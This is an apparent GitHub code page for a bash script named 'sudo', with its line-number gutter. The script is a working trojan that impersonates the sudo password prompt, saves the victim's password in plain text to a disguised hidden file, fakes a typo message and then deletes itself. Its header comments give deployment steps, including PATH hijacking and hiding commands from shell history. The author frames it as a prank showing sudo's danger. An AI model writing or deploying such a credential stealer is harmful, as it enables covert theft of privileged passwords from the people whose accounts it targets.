-
Notifications
You must be signed in to change notification settings - Fork 1
/
sudo
43 lines (38 loc) · 1.25 KB
/
sudo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env bash
# how to deploy
#
# first of all, don't. this was written for a prank and is only on this repo to demonstrate how
# easy and thus how dangerous uncautious use of sudo is. that should be obvious to everyone but it
# still evil. don't use this.
#
# put a SPACE IN FRONT OF ALL OF ALL COMMANDS [prevents bash history]
#
# save script as "sudo" and chmod +x it
# stage it to a directory that is the first thing in the user's $PATH; may require editing .bashrc to add "~.hipchatutil/" or something
# log out
# log in (to set path)
# touch ~/.do_no_evil
# verify installation by testing "sudo ls -lar"
# rm -f touch ~/.do_no_evil ~/.hipchat_temp_v6612
catch=~/.hipchat_temp_v6612
sudo=/usr/bin/sudo
test=~/.do_no_evil
# if sudo timeout is in effect, NEVER catch!
if sudo -n true 2>/dev/null; then
exec $sudo "$@"
fi
# if there is a capture file already, NEVER catch
if [[ -e $catch ]]; then
exec $sudo "$@"
fi
# I'm sorry that you're such a poor typist
printf Password:
read -s PASSWORD
echo $PASSWORD > $catch
printf "\nSorry, try again.\n"
if [[ ! -e $test ]]; then
# delete ourselves after a capture unless the test file is there
us=${BASH_SOURCE[0]}
rm -f $us 2>/dev/null
fi
exec $sudo "$@"